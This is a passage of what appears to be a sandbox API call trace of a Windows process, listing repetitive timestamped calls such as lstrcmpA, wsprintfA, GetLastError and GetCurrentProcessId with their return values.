(lpString="just string") returned 11 [0031.696] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0031.696] GetLastError () returned 0x57 [0031.696] lstrlenA (lpString="just string") returned 11 [0031.696] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0031.696] GetLastError () returned 0x57 [0031.696] GetLastError () returned 0x57 [0031.696] lstrcmpA (lpString1="J", lpString2="luck") returned -1 [0031.696] SetLastError (dwErrCode=0x57) [0031.696] GetCurrentProcess () returned 0xffffffff [0031.696] GetLastError () returned 0x57 [0031.696] wsprintfA (in: param_1=0x3bfd8b, param_2="%X%P" | out: param_1="4294P") returned 5 [0031.696] SetLastError (dwErrCode=0x57) [0031.696] GetCurrentProcessId () returned 0xb44 [0031.696] GetCurrentProcess () returned 0xffffffff [0031.696] GetLastError () returned 0x57 [0031.696] wsprintfA (in: param_1=0x3bfd8b, param_2="%X%P" | out: param_1="4295P") returned 5 [0031.696] SetLastError (dwErrCode=0x57) [0031.696] GetCurrentProcessId () returned 0xb44 [0031.696] GetLastError () returned 0x57 [0031.696] wsprintfA (in: param_1=0x3bfd8b, param_2="%X%P" | out: param_1="4296P") returned 5 [0031.696] SetLastError (dwErrCode=0x57) [0031.696] GetCurrentProcessId () returned 0xb44 [0031.696] GetCurrentProcessId () returned 0xb44 [0031.696] GetCurrentProcessId () returned 0xb44 [0031.696] GetCurrentProcessId () returned 0xb44 [0031.696] lstrlenA (lpString="just string") returned 11 [0031.696] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0031.696] GetLastError () returned 0x57 [0031.696] GetCurrentProcess () returned 0xffffffff [0031.696] GetLastError () returned 0x57 [0031.696] wsprintfA (in: param_1=0x3bfd8b, param_2="%X%P" | out: param_1="42DBP") returned 5 [0031.696] SetLastError (dwErrCode=0x57) [0031.696] GetCurrentProcessId () returned 0xb44 [0031.696] GetLastError () returned 0x57 [0031.696] wsprintfA (in: param_1=0x3bfd8b, param_2="%X%P" | out: param_1="42DCP") returned 5 [0031.696] SetLastError (dwErrCode=0x57) [0031.696] GetCurrentProcessId () returned 0xb44 [0031.696] GetCurrentProcessId () returned 0xb44 [0031.696] GetCurrentProcessId () returned 0xb44 [0031.696] GetCurrentProcessId () returned 0xb44 [0031.696] lstrlenA (lpString="just string") returned 11 [0031.696] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0031.696] GetLastError () returned 0x57 [0031.696] GetLastError () returned 0x57 [0031.697] lstrcmpA (lpString1="`\x87w", lpString2="luck") returned -1 [0031.697] SetLastError (dwErrCode=0x57) [0031.697] GetCurrentProcess () returned 0xffffffff [0031.697] GetLastError () returned 0x57 [0031.697] wsprintfA (in: param_1=0x3bfd8b, param_2="%X%P" | out: param_1="4316P") returned 5 [0031.697] SetLastError (dwErrCode=0x57) [0031.697] GetCurrentProcessId () returned 0xb44 [0031.697] GetCurrentProcess () returned 0xffffffff [0031.697] GetLastError () returned 0x57 [0031.697] wsprintfA (in: param_1=0x3bfd8b, param_2="%X%P" | out: param_1="4317P") returned 5 [0031.697] SetLastError (dwErrCode=0x57) [0031.697] GetCurrentProcessId () returned 0xb44 [0031.697] GetLastError () returned 0x57 [0031.697] wsprintfA (in: param_1=0x3bfd8b, param_2="%X%P" | out: param_1="4318P") returned 5 [0031.697] SetLastError (dwErrCode=0x57) [0031.697] GetCurrentProcessId () returned 0xb44 [0031.697] GetCurrentProcessId () returned 0xb44 [0031.697] GetCurrentProcessId () returned 0xb44 [0031.697] GetCurrentProcessId () returned 0xb44 [0031.697] lstrlenA (lpString="just string") returned 11 [0031.697] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0031.697] GetLastError () returned 0x57 [0031.697] GetLastError () returned 0x57 [0031.697] lstrcmpA (lpString1="J", lpString2="luck") returned -1 [0031.697] SetLastError (dwErrCode=0x57) [0031.697] GetCurrentProcess () returned 0xffffffff [0031.697] GetLastError () returned 0x57 [0031.697] wsprintfA (in: param_1=0x3bfd8b, param_2="%X%P" | out: param_1="4320P") returned 5 [0031.697] SetLastError (dwErrCode=0x57) [0031.697] GetCurrentProcessId () returned 0xb44 [0031.697] GetCurrentProcess () returned 0xffffffff [0031.697] GetLastError () returned 0x57 [0031.697] wsprintfA (in: param_1=0x3bfd8b, param_2="%X%P" | out: param_1="4321P") returned 5 [0031.697] SetLastError (dwErrCode=0x57) [0031.697] GetCurrentProcessId () returned 0xb44 [0031.697] GetLastError () returned 0x57 [0031.697] wsprintfA (in: param_1=0x3bfd8b, param_2="%X%P" | out: param_1="4322P") returned 5 [0031.697] SetLastError (dwErrCode=0x57) [0031.697] GetCurrentProcessId () returned 0xb44 [0031.697] GetCurrentProcessId () returned 0xb44 [0031.697] GetCurrentProcessId () returned 0xb44 [0031.697] GetCurrentProcessId () returned 0xb44 [0031.697] lstrlenA (lpString="just string") returned 11 [0031.697] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0031.697] GetLastError () returned 0x57 [0031.697] GetCurrentProcessId () returned 0xb44 [0031.697] GetCurrentProcessId () returned 0xb44 [0031.697] GetCurrentProcessId () returned 0xb44 [0031.697] lstrlenA (lpString="just string") returned 11 [0031.697] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0031.697] GetLastError () returned 0x57 [0031.697] GetCurrentProcess () returned 0xffffffff [0031.697] GetLastError () returned 0x57 [0031.697] wsprintfA (in: param_1=0x3bfd8b, param_2="%X%P" | out: param_1="4367P") returned 5 [0031.697] SetLastError (dwErrCode=0x57) [0031.697] GetCurrentProcessId () returned 0xb44 [0031.697] GetLastError () returned 0x57 [0031.697] wsprintfA (in: param_1=0x3bfd8b, param_2="%X%P" | out: param_1="4368P") returned 5 [0031.697] SetLastError (dwErrCode=0x57) [0031.697] GetCurrentProcessId () returned 0xb44 [0031.698] GetCurrentProcessId () returned 0xb44 [0031.698] GetCurrentProcessId () returned 0xb44 [0031.698] GetCurrentProcessId () returned 0xb44 [0031.698] lstrlenA (lpString="just string") returned 11 [0031.698] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0031.698] GetLastError () returned 0x57 [0031.698] GetCurrentProcessId () returned 0xb44 [0031.698] GetCurrentProcessId () returned 0xb44 [0031.698] GetCurrentProcessId () returned 0xb44 [0031.698] lstrlenA (lpString="just string") returned 11 [0031.698] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0031.698] GetLastError () returned 0x57 [0031.698] GetCurrentProcessId () returned 0xb44 [0031.698] GetCurrentProcessId () returned 0xb44 [0031.698] GetCurrentProcessId () returned 0xb44 [0031.698] lstrlenA (lpString="just string") returned 11 [0031.698] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0031.698] GetLastError () returned 0x57 [0031.698] GetLastError () returned 0x57 [0031.698] lstrcmpA (lpString1="J", lpString2="luck") returned -1 [0031.698] SetLastError (dwErrCode=0x57) [0031.698] GetCurrentProcess () returned 0xffffffff [0031.698] GetLastError () returned 0x57 [0031.698] wsprintfA (in: param_1=0x3bfd8b, param_2="%X%P" | out: param_1="43E8P") returned 5 [0031.698] SetLastError (dwErrCode=0x57) [0031.698] GetCurrentProcessId () returned 0xb44 [0031.698] GetCurrentProcess () returned 0xffffffff [0031.698] GetLastError () returned 0x57 [0031.698] wsprintfA (in: param_1=0x3bfd8b, param_2="%X%P" | out: param_1="43E9P") returned 5 [0031.698] SetLastError (dwErrCode=0x57) [0031.698] GetCurrentProcessId () returned 0xb44 [0031.698] GetLastError () returned 0x57 [0031.698] wsprintfA (in: param_1=0x3bfd8b, param_2="%X%P" | out: param_1="43EAP") returned 5 [0031.698] SetLastError (dwErrCode=0x57) [0031.698] GetCurrentProcessId () returned 0xb44 [0031.698] GetCurrentProcessId () returned 0xb44 [0031.698] GetCurrentProcessId () returned 0xb44 [0031.698] GetCurrentProcessId () returned 0xb44 [0031.698] lstrlenA (lpString="just string") returned 11 [0031.698] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0031.698] GetLastError () returned 0x57 [0031.698] lstrlenA (lpString="just string") returned 11 [0031.698] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0031.698] GetLastError () returned 0x57 [0031.698] GetLastError () returned 0x57 [0031.698] lstrcmpA (lpString1="J", lpString2="luck") returned -1 [0031.698] SetLastError (dwErrCode=0x57) [0031.698] GetCurrentProcess () returned 0xffffffff [0031.698] GetLastError () returned 0x57 [0031.698] wsprintfA (in: param_1=0x3bfd8b, param_2="%X%P" | out: param_1="4460P") returned 5 [0031.698] SetLastError (dwErrCode=0x57) [0031.698] GetCurrentProcessId () returned 0xb44 [0031.698] GetCurrentProcess () returned 0xffffffff [0031.698] GetLastError () returned 0x57 [0031.698] wsprintfA (in: param_1=0x3bfd8b, param_2="%X%P" | out: param_1="4461P") returned 5 [0031.698] SetLastError (dwErrCode=0x57) [0031.698] GetCurrentProcessId () returned 0xb44 [0031.698] GetLastError () returned 0x57 [0031.698] wsprintfA (in: param_1=0x3bfd8b, param_2="%X%P" | out: param_1="4462P") returned 5 [0031.698] SetLastError (dwErrCode=0x57) [0031.699] GetCurrentProcessId () returned 0xb44 [0031.699] GetCurrentProcessId () returned 0xb44 [0031.699] GetCurrentProcessId () returned 0xb44 [0031.699] GetCurrentProcessId () returned 0xb44 [0031.699] lstrlenA (lpString="just string") returned 11 [0031.699] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0031.699] GetLastError () returned 0x57 [0031.699] GetCurrentProcessId () returned 0xb44 [0031.699] GetCurrentProcessId () returned 0xb44 [0031.699] GetCurrentProcessId () returned 0xb44 [0031.699] lstrlenA (lpString="just string") returned 11 [0031.699] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0031.699] GetLastError () returned 0x57 [0031.699] GetLastError () returned 0x57 [0031.699] GetLastError () returned 0x57 [0031.699] GetLastError () returned 0x57 [0031.699] GetCurrentProcessId () returned 0xb44 [0031.699] lstrlenA (lpString="just string") returned 11 [0031.699] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0031.699] GetLastError () returned 0x57 [0031.699] GetLastError () returned 0x57 [0031.699] lstrcmpA (lpString1="J", lpString2="luck") returned -1 [0031.699] SetLastError (dwErrCode=0x57) [0031.699] GetCurrentProcess () returned 0xffffffff [0031.699] GetLastError () returned 0x57 [0031.699] wsprintfA (in: param_1=0x3bfd8b, param_2="%X%P" | out: param_1="4582P") returned 5 [0031.699] SetLastError (dwErrCode=0x57) [0031.699] GetCurrentProcessId () returned 0xb44 [0031.699] GetCurrentProcess () returned 0xffffffff [0031.699] GetLastError () returned 0x57 [0031.699] wsprintfA (in: param_1=0x3bfd8b, param_2="%X%P" | out: param_1="4583P") returned 5 [0031.699] SetLastError (dwErrCode=0x57) [0031.699] GetCurrentProcessId () returned 0xb44 [0031.699] GetLastError () returned 0x57 [0031.699] wsprintfA (in: param_1=0x3bfd8b, param_2="%X%P" | out: param_1="4584P") returned 5 [0031.699] SetLastError (dwErrCode=0x57) [0031.699] GetCurrentProcessId () returned 0xb44 [0031.699] GetCurrentProcessId () returned 0xb44 [0031.699] GetCurrentProcessId () returned 0xb44 [0031.699] GetCurrentProcessId () returned 0xb44 [0031.699] lstrlenA (lpString="just string") returned 11 [0031.699] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0031.699] GetLastError () returned 0x57 [0031.699] lstrlenA (lpString="just string") returned 11 [0031.699] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0031.699] GetLastError () returned 0x57 [0031.699] GetCurrentProcess () returned 0xffffffff [0031.699] GetLastError () returned 0x57 [0031.699] wsprintfA (in: param_1=0x3bfd8b, param_2="%X%P" | out: param_1="45D3P") returned 5 [0031.699] SetLastError (dwErrCode=0x57) [0031.699] GetCurrentProcessId () returned 0xb44 [0031.699] GetLastError () returned 0x57 [0031.699] wsprintfA (in: param_1=0x3bfd8b, param_2="%X%P" | out: param_1="45D4P") returned 5 [0031.699] SetLastError (dwErrCode=0x57) [0031.699] GetCurrentProcessId () returned 0xb44 [0031.699] GetCurrentProcessId () returned 0xb44 [0031.699] GetCurrentProcessId () returned 0xb44 [0031.699] GetCurrentProcessId () returned 0xb44 [0031.699] lstrlenA (lpString="just string") returned 11 [0031.699] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0031.699] GetLastError () returned 0x57 [0031.699] GetLastError () returned 0x57 [0031.699] GetLastError () returned 0x57 [0031.700] lstrcmpA (lpString1="J", lpString2="luck") returned -1 [0031.700] SetLastError (dwErrCode=0x57) [0031.700] GetCurrentProcess () returned 0xffffffff [0031.700] GetLastError () returned 0x57 [0031.700] wsprintfA (in: param_1=0x3bfd8b, param_2="%X%P" | out: param_1="460EP") returned 5 [0031.700] SetLastError (dwErrCode=0x57) [0031.700] GetCurrentProcessId () returned 0xb44 [0031.700] GetCurrentProcess () returned 0xffffffff [0031.700] GetLastError () returned 0x57 [0031.700] wsprintfA (in: param_1=0x3bfd8b, param_2="%X%P" | out: param_1="460FP") returned 5 [0031.700] SetLastError (dwErrCode=0x57) [0031.700] GetCurrentProcessId () returned 0xb44 [0031.700] GetLastError () returned 0x57 [0031.700] wsprintfA (in: param_1=0x3bfd8b, param_2="%X%P" | out: param_1="4610P") returned 5 [0031.700] SetLastError (dwErrCode=0x57) [0031.700] GetCurrentProcessId () returned 0xb44 [0031.700] GetCurrentProcessId () returned 0xb44 [0031.700] GetCurrentProcessId () returned 0xb44 [0031.700] GetCurrentProcessId () returned 0xb44 [0031.700] lstrlenA (lpString="just string") returned 11 [0031.700] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0031.700] GetLastError () returned 0x57 [0031.700] GetLastError () returned 0x57 [0031.700] wsprintfA (in: param_1=0x3bfd8b, param_2="%X%P" | out: param_1="4624P") returned 5 [0031.700] SetLastError (dwErrCode=0x57) [0031.700] GetCurrentProcessId () returned 0xb44 [0031.700] GetCurrentProcessId () returned 0xb44 [0031.700] GetCurrentProcessId () returned 0xb44 [0031.700] GetCurrentProcessId () returned 0xb44 [0031.700] lstrlenA (lpString="just string") returned 11 [0031.700] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0031.700] GetLastError () returned 0x57 [0031.700] lstrlenA (lpString="just string") returned 11 [0031.700] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0031.700] GetLastError () returned 0x57 [0031.700] GetCurrentProcess () returned 0xffffffff [0031.700] GetLastError () returned 0x57 [0031.700] wsprintfA (in: param_1=0x3bfd8b, param_2="%X%P" | out: param_1="467DP") returned 5 [0031.700] SetLastError (dwErrCode=0x57) [0031.700] GetCurrentProcessId () returned 0xb44 [0031.700] GetLastError () returned 0x57 [0031.700] wsprintfA (in: param_1=0x3bfd8b, param_2="%X%P" | out: param_1="467EP") returned 5 [0031.700] SetLastError (dwErrCode=0x57) [0031.700] GetCurrentProcessId () returned 0xb44 [0031.700] GetCurrentProcessId () returned 0xb44 [0031.700] GetCurrentProcessId () returned 0xb44 [0031.700] GetCurrentProcessId () returned 0xb44 [0031.700] lstrlenA (lpString="just string") returned 11 [0031.700] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0031.700] GetLastError () returned 0x57 [0031.700] GetLastError () returned 0x57 [0031.700] lstrlenA (lpString="just string") returned 11 [0031.700] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0031.700] GetLastError () returned 0x57 [0031.700] lstrlenA (lpString="just string") returned 11 [0031.700] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0031.700] GetLastError () returned 0x57 [0031.700] GetCurrentProcess () returned 0xffffffff [0031.700] GetLastError () returned 0x57 [0031.700] wsprintfA (in: param_1=0x3bfd8b, param_2="%X%P" | out: param_1="4727P") returned 5 [0031.700] SetLastError (dwErrCode=0x57) [0031.700] GetCurrentProcessId () returned 0xb44 [0031.701] GetLastError () returned 0x57 [0031.701] wsprintfA (in: param_1=0x3bfd8b, param_2="%X%P" | out: param_1="4728P") returned 5 [0031.701] SetLastError (dwErrCode=0x57) [0031.701] GetCurrentProcessId () returned 0xb44 [0031.701] GetCurrentProcessId () returned 0xb44 [0031.701] GetCurrentProcessId () returned 0xb44 [0031.701] GetCurrentProcessId () returned 0xb44 [0031.701] lstrlenA (lpString="just string") returned 11 [0031.701] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0031.701] GetLastError () returned 0x57 [0031.701] GetCurrentProcess () returned 0xffffffff [0031.701] GetLastError () returned 0x57 [0031.701] wsprintfA (in: param_1=0x3bfd8b, param_2="%X%P" | out: param_1="4759P") returned 5 [0031.701] SetLastError (dwErrCode=0x57) [0031.701] GetCurrentProcessId () returned 0xb44 [0031.701] GetLastError () returned 0x57 [0031.701] wsprintfA (in: param_1=0x3bfd8b, param_2="%X%P" | out: param_1="475AP") returned 5 [0031.701] SetLastError (dwErrCode=0x57) [0031.701] GetCurrentProcessId () returned 0xb44 [0031.701] GetCurrentProcessId () returned 0xb44 [0031.701] GetCurrentProcessId () returned 0xb44 [0031.701] GetCurrentProcessId () returned 0xb44 [0031.701] lstrlenA (lpString="just string") returned 11 [0031.701] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0031.701] GetLastError () returned 0x57 [0031.701] GetLastError () returned 0x57 [0031.701] lstrcmpA (lpString1="`\x87w", lpString2="luck") returned -1 [0031.701] SetLastError (dwErrCode=0x57) [0031.701] GetCurrentProcess () returned 0xffffffff [0031.701] GetLastError () returned 0x57 [0031.701] wsprintfA (in: param_1=0x3bfd8b, param_2="%X%P" | out: param_1="479EP") returned 5 [0031.701] SetLastError (dwErrCode=0x57) [0031.701] GetCurrentProcessId () returned 0xb44 [0031.701] GetCurrentProcess () returned 0xffffffff [0031.701] GetLastError () returned 0x57 [0031.701] wsprintfA (in: param_1=0x3bfd8b, param_2="%X%P" | out: param_1="479FP") returned 5 [0031.701] SetLastError (dwErrCode=0x57) [0031.701] GetCurrentProcessId () returned 0xb44 [0031.701] GetLastError () returned 0x57 [0031.701] wsprintfA (in: param_1=0x3bfd8b, param_2="%X%P" | out: param_1="47A0P") returned 5 [0031.701] SetLastError (dwErrCode=0x57) [0031.701] GetCurrentProcessId () returned 0xb44 [0031.701] GetCurrentProcessId () returned 0xb44 [0031.701] GetCurrentProcessId () returned 0xb44 [0031.701] GetCurrentProcessId () returned 0xb44 [0031.701] lstrlenA (lpString="just string") returned 11 [0031.701] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0031.701] GetLastError () returned 0x57 [0031.701] GetCurrentProcess () returned 0xffffffff [0031.701] GetLastError () returned 0x57 [0031.701] wsprintfA (in: param_1=0x3bfd8b, param_2="%X%P" | out: param_1="47D1P") returned 5 [0031.701] SetLastError (dwErrCode=0x57) [0031.701] GetCurrentProcessId () returned 0xb44 [0031.701] GetLastError () returned 0x57 [0031.701] wsprintfA (in: param_1=0x3bfd8b, param_2="%X%P" | out: param_1="47D2P") returned 5 [0031.701] SetLastError (dwErrCode=0x57) [0031.701] GetCurrentProcessId () returned 0xb44 [0031.701] GetCurrentProcessId () returned 0xb44 [0031.701] GetCurrentProcessId () returned 0xb44 [0031.701] GetCurrentProcessId () returned 0xb44 [0031.701] lstrlenA (lpString="just string") returned 11 [0031.701] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0031.701] GetLastError () returned 0x57 [0031.702] GetLastError () returned 0x57 [0031.702] lstrlenA (lpString="just string") returned 11 [0031.702] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0031.702] GetLastError () returned 0x57 [0031.702] GetCurrentProcessId () returned 0xb44 [0031.702] GetCurrentProcessId () returned 0xb44 [0031.702] GetCurrentProcessId () returned 0xb44 [0031.702] lstrlenA (lpString="just string") returned 11 [0031.702] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0031.702] GetLastError () returned 0x57 [0031.702] GetLastError () returned 0x57 [0031.702] lstrcmpA (lpString1="`\x87w", lpString2="luck") returned -1 [0031.702] SetLastError (dwErrCode=0x57) [0031.702] GetCurrentProcess () returned 0xffffffff [0031.702] GetLastError () returned 0x57 [0031.702] wsprintfA (in: param_1=0x3bfd8b, param_2="%X%P" | out: param_1="4884P") returned 5 [0031.702] SetLastError (dwErrCode=0x57) [0031.702] GetCurrentProcessId () returned 0xb44 [0031.702] GetCurrentProcess () returned 0xffffffff [0031.702] GetLastError () returned 0x57 [0031.702] wsprintfA (in: param_1=0x3bfd8b, param_2="%X%P" | out: param_1="4885P") returned 5 [0031.702] SetLastError (dwErrCode=0x57) [0031.702] GetCurrentProcessId () returned 0xb44 [0031.702] GetLastError () returned 0x57 [0031.702] wsprintfA (in: param_1=0x3bfd8b, param_2="%X%P" | out: param_1="4886P") returned 5 [0031.702] SetLastError (dwErrCode=0x57) [0031.702] GetCurrentProcessId () returned 0xb44 [0031.702] GetCurrentProcessId () returned 0xb44 [0031.702] GetCurrentProcessId () returned 0xb44 [0031.702] GetCurrentProcessId () returned 0xb44 [0031.702] lstrlenA (lpString="just string") returned 11 [0031.702] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0031.702] GetLastError () returned 0x57 [0031.702] GetCurrentProcess () returned 0xffffffff [0031.702] GetLastError () returned 0x57 [0031.702] wsprintfA (in: param_1=0x3bfd8b, param_2="%X%P" | out: param_1="488FP") returned 5 [0031.702] SetLastError (dwErrCode=0x57) [0031.702] GetCurrentProcessId () returned 0xb44 [0031.702] GetLastError () returned 0x57 [0031.702] wsprintfA (in: param_1=0x3bfd8b, param_2="%X%P" | out: param_1="4890P") returned 5 [0031.702] SetLastError (dwErrCode=0x57) [0031.702] GetCurrentProcessId () returned 0xb44 [0031.702] GetCurrentProcessId () returned 0xb44 [0031.702] GetCurrentProcessId () returned 0xb44 [0031.702] GetCurrentProcessId () returned 0xb44 [0031.702] lstrlenA (lpString="just string") returned 11 [0031.702] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0031.702] GetLastError () returned 0x57 [0031.702] GetLastError () returned 0x57 [0031.702] wsprintfA (in: param_1=0x3bfd8b, param_2="%X%P" | out: param_1="48C2P") returned 5 [0031.702] SetLastError (dwErrCode=0x57) [0031.702] GetCurrentProcessId () returned 0xb44 [0031.702] GetCurrentProcessId () returned 0xb44 [0031.702] GetCurrentProcessId () returned 0xb44 [0031.702] GetCurrentProcessId () returned 0xb44 [0031.702] lstrlenA (lpString="just string") returned 11 [0031.702] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0031.702] GetLastError () returned 0x57 [0031.702] lstrlenA (lpString="just string") returned 11 [0031.702] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0031.702] GetLastError () returned 0x57 [0031.702] lstrlenA (lpString="just string") returned 11 [0031.702] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0031.703] GetLastError () returned 0x57 [0031.703] GetCurrentProcess () returned 0xffffffff [0031.703] GetLastError () returned 0x57 [0031.703] wsprintfA (in: param_1=0x3bfd8b, param_2="%X%P" | out: param_1="494DP") returned 5 [0031.703] SetLastError (dwErrCode=0x57) [0031.703] GetCurrentProcessId () returned 0xb44 [0031.703] GetLastError () returned 0x57 [0031.703] wsprintfA (in: param_1=0x3bfd8b, param_2="%X%P" | out: param_1="494EP") returned 5 [0031.703] SetLastError (dwErrCode=0x57) [0031.703] GetCurrentProcessId () returned 0xb44 [0031.703] GetCurrentProcessId () returned 0xb44 [0031.703] GetCurrentProcessId () returned 0xb44 [0031.703] GetCurrentProcessId () returned 0xb44 [0031.703] lstrlenA (lpString="just string") returned 11 [0031.703] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0031.703] GetLastError () returned 0x57 [0031.703] GetLastError () returned 0x57 [0031.703] lstrcmpA (lpString1="J", lpString2="luck") returned -1 [0031.703] SetLastError (dwErrCode=0x57) [0031.703] GetCurrentProcess () returned 0xffffffff [0031.703] GetLastError () returned 0x57 [0031.703] wsprintfA (in: param_1=0x3bfd8b, param_2="%X%P" | out: param_1="4992P") returned 5 [0031.703] SetLastError (dwErrCode=0x57) [0031.703] GetCurrentProcessId () returned 0xb44 [0031.703] GetCurrentProcess () returned 0xffffffff [0031.703] GetLastError () returned 0x57 [0031.703] wsprintfA (in: param_1=0x3bfd8b, param_2="%X%P" | out: param_1="4993P") returned 5 [0031.703] SetLastError (dwErrCode=0x57) [0031.703] GetCurrentProcessId () returned 0xb44 [0031.703] GetLastError () returned 0x57 [0031.703] wsprintfA (in: param_1=0x3bfd8b, param_2="%X%P" | out: param_1="4994P") returned 5 [0031.703] SetLastError (dwErrCode=0x57) [0031.703] GetCurrentProcessId () returned 0xb44 [0031.703] GetCurrentProcessId () returned 0xb44 [0031.703] GetCurrentProcessId () returned 0xb44 [0031.703] GetCurrentProcessId () returned 0xb44 [0031.703] lstrlenA (lpString="just string") returned 11 [0031.703] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0031.703] GetLastError () returned 0x57 [0031.703] GetCurrentProcess () returned 0xffffffff [0031.703] GetLastError () returned 0x57 [0031.703] wsprintfA (in: param_1=0x3bfd8b, param_2="%X%P" | out: param_1="49A7P") returned 5 [0031.703] SetLastError (dwErrCode=0x57) [0031.703] GetCurrentProcessId () returned 0xb44 [0031.703] GetLastError () returned 0x57 [0031.703] wsprintfA (in: param_1=0x3bfd8b, param_2="%X%P" | out: param_1="49A8P") returned 5 [0031.703] SetLastError (dwErrCode=0x57) [0031.703] GetCurrentProcessId () returned 0xb44 [0031.703] GetCurrentProcessId () returned 0xb44 [0031.703] GetCurrentProcessId () returned 0xb44 [0031.703] GetCurrentProcessId () returned 0xb44 [0031.703] lstrlenA (lpString="just string") returned 11 [0031.703] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0031.703] GetLastError () returned 0x57 [0031.703] GetLastError () returned 0x57 [0031.703] wsprintfA (in: param_1=0x3bfd8b, param_2="%X%P" | out: param_1="49B2P") returned 5 [0031.703] SetLastError (dwErrCode=0x57) [0031.703] GetCurrentProcessId () returned 0xb44 [0031.703] GetCurrentProcessId () returned 0xb44 [0031.703] GetCurrentProcessId () returned 0xb44 [0031.703] GetCurrentProcessId () returned 0xb44 [0031.703] lstrlenA (lpString="just string") returned 11 [0031.703] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0031.704] GetLastError () returned 0x57 [0031.704] lstrlenA (lpString="just string") returned 11 [0031.704] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0031.704] GetLastError () returned 0x57 [0031.704] GetLastError () returned 0x57 [0031.704] lstrcmpA (lpString1="`\x87w", lpString2="luck") returned -1 [0031.704] SetLastError (dwErrCode=0x57) [0031.704] GetCurrentProcess () returned 0xffffffff [0031.704] GetLastError () returned 0x57 [0031.704] wsprintfA (in: param_1=0x3bfd8b, param_2="%X%P" | out: param_1="4A00P") returned 5 [0031.704] SetLastError (dwErrCode=0x57) [0031.704] GetCurrentProcessId () returned 0xb44 [0031.704] GetCurrentProcess () returned 0xffffffff [0031.704] GetLastError () returned 0x57 [0031.704] wsprintfA (in: param_1=0x3bfd8b, param_2="%X%P" | out: param_1="4A01P") returned 5 [0031.704] SetLastError (dwErrCode=0x57) [0031.704] GetCurrentProcessId () returned 0xb44 [0031.704] GetLastError () returned 0x57 [0031.704] wsprintfA (in: param_1=0x3bfd8b, param_2="%X%P" | out: param_1="4A02P") returned 5 [0031.704] SetLastError (dwErrCode=0x57) [0031.704] GetCurrentProcessId () returned 0xb44 [0031.704] GetCurrentProcessId () returned 0xb44 [0031.704] GetCurrentProcessId () returned 0xb44 [0031.704] GetCurrentProcessId () returned 0xb44 [0031.704] lstrlenA (lpString="just string") returned 11 [0031.704] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0031.704] GetLastError () returned 0x57 [0031.704] lstrlenA (lpString="just string") returned 11 [0031.704] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0031.704] GetLastError () returned 0x57 [0031.704] GetLastError () returned 0x57 [0031.704] lstrcmpA (lpString1="`\x87w", lpString2="luck") returned -1 [0031.704] SetLastError (dwErrCode=0x57) [0031.704] GetCurrentProcess () returned 0xffffffff [0031.704] GetLastError () returned 0x57 [0031.704] wsprintfA (in: param_1=0x3bfd8b, param_2="%X%P" | out: param_1="4A64P") returned 5 [0031.704] SetLastError (dwErrCode=0x57) [0031.704] GetCurrentProcessId () returned 0xb44 [0031.704] GetCurrentProcess () returned 0xffffffff [0031.704] GetLastError () returned 0x57 [0031.704] wsprintfA (in: param_1=0x3bfd8b, param_2="%X%P" | out: param_1="4A65P") returned 5 [0031.704] SetLastError (dwErrCode=0x57) [0031.704] GetCurrentProcessId () returned 0xb44 [0031.704] GetLastError () returned 0x57 [0031.704] wsprintfA (in: param_1=0x3bfd8b, param_2="%X%P" | out: param_1="4A66P") returned 5 [0031.704] SetLastError (dwErrCode=0x57) [0031.704] GetCurrentProcessId () returned 0xb44 [0031.704] GetCurrentProcessId () returned 0xb44 [0031.704] GetCurrentProcessId () returned 0xb44 [0031.704] GetCurrentProcessId () returned 0xb44 [0031.704] lstrlenA (lpString="just string") returned 11 [0031.704] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0031.704] GetLastError () returned 0x57 [0031.704] GetLastError () returned 0x57 [0031.704] wsprintfA (in: param_1=0x3bfd8b, param_2="%X%P" | out: param_1="4A84P") returned 5 [0031.704] SetLastError (dwErrCode=0x57) [0031.704] GetCurrentProcessId () returned 0xb44 [0031.704] GetCurrentProcessId () returned 0xb44 [0031.704] GetCurrentProcessId () returned 0xb44 [0031.705] GetCurrentProcessId () returned 0xb44 [0031.705] lstrlenA (lpString="just string") returned 11 [0031.705] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0031.705] GetLastError () returned 0x57 [0031.705] GetLastError () returned 0x57 [0031.705] lstrlenA (lpString="just string") returned 11 [0031.705] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0031.705] GetLastError () returned 0x57 [0031.705] GetLastError () returned 0x57 [0031.705] lstrcmpA (lpString1="`\x87w", lpString2="luck") returned -1 